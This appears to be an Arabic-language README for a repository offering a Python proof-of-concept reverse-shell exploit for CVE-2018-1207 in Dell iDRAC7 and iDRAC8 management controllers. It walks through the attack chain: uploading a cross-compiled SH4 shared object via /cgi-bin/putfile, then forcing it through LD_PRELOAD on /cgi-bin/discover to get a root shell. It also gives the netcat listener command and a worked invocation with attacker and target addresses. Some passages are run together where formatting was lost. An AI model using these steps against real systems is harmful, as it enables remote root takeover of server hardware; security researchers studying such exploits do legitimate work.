
قشرة عكسية CVE لـ iDRAC 7 & 8 مع البرنامج الثابت 2.52.52.52 وأقل.
يحتوي هذا المستودع على نص بايثون لإثبات المفهوم يوضح استغلالًا لتنفيذ تعليمات عن بعد موجود في أجهزة iDRAC7 و iDRAC8 بإصدارات البرامج الثابتة 2.52.52.52 وأقل. يسمح هذا الاستغلال للمهاجمين بتشغيل تعليمات كمستخدم جذر، مما قد يؤدي إلى السيطرة الكاملة على النظام. في الكود، نظهر هذا من خلال تشغيل هجوم شل عكسية باستخدام الاستغلال. الكود في هذا المستودع هو نسخة معدلة من الاستغلال الأصلي لمايكل جارجيولو (mgargiullo).
إخلاء مسؤولية - يتم توفير هذا الكود لأغراض تعليمية فقط. لا يجوز لك استخدام هذا البرنامج النصي لمهاجمة أجهزة لا تملكها أو ليس لديك إذن صريح ومكتوب للقيام بذلك. استخدام هذا البرنامج النصي على أنظمة دون إذن مناسب هو غير قانوني. لست مسؤولًا عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة. الاستخدام غير المصرح به يمكن أن يؤدي إلى عواقب قانونية شديدة، بما في ذلك الغرامات والسجن.
?LD_DEBUG=files. إذا تضمن الرد محتوى تصحيح يوضح ملفات المكتبات التي يحاول تحميلها، فإننا نعلم أنه عرضة للخطر.sh4-linux-gnu-gcc. نظرًا لأن iDRAC يعمل على معمارية معالج SuperH (SH4)، نحتاج إلى تجميع الكود في كائن مشترك (.so) بحيث يمكن تنفيذه بواسطة iDRAC.POST إلى /cgi-bin/putfile حيث يحفظ الملف في /tmp/sshpkauthupload.tmp.GET آخر إلى /cgi-bin/discover مع المعامل ?LD_PRELOAD=/tmp/sshpkauthupload.tmp. هذا يجبر iDRAC على تحميل مكتبة محددة قبل أي مكتبة أخرى، ثم يقوم بتحميل ملف .so المعدل من دليل /tmp/.constructor، يتم تشغيل الكود فورًا عند التحميل، مما يؤدي إلى شل عكسية كمستخدم root (المستخدم ذو الصلاحيات الأعلى في نظام يعتمد على لينكس).قبل تشغيل البرنامج النصي، يرجى التأكد من توفر ما يلي:
pip install requests)sudo apt install gcc-sh4-linux-gnu)بدون هذه المتطلبات، ستواجه مشاكل ولن يتمكن الاستغلال من العمل بالكامل! لا توجد فحوصات لضمان تلبية هذه المتطلبات.
ابدأ مستمعًا على جهازك لاستقبال الشل العكسية، استخدم netcat لهذا.
nc -lvnp <LPORT>
استبدل <LPORT> بالمنفذ الذي تريد الاستماع عليه (مثل 5000).
قم بتشغيل البرنامج النصي بالوسائط المطلوبة.
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost: عنوان IP لجهاز iDRAC المستهدف.--rport: منفذ واجهة الويب الخاصة بـ iDRAC (عادةً 443).--lhost: عنوان IP المحلي الخاص بك لاتصال الشل العكسية للعودة إليه.--lport: المنفذ المحلي الذي يعمل عليه مستمع Netcat.--keep-payload: (اختياري) إذا تم تعيينه، لن يقوم البرنامج النصي بحذف payload.c و payload.so من جهازك بعد التنفيذ.جهاز المهاجم (IP: 192.168.1.100) - ابدأ المستمع.
nc -lvnp 5000
جهاز المهاجم - قم بتشغيل الاستغلال مستهدفًا iDRAC عند 192.168.1.50.
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
في حالة النجاح، ستتلقى جلسة شل في نافذة Netcat الخاصة بك حيث يمكنك تشغيل أوامر مثل racadm.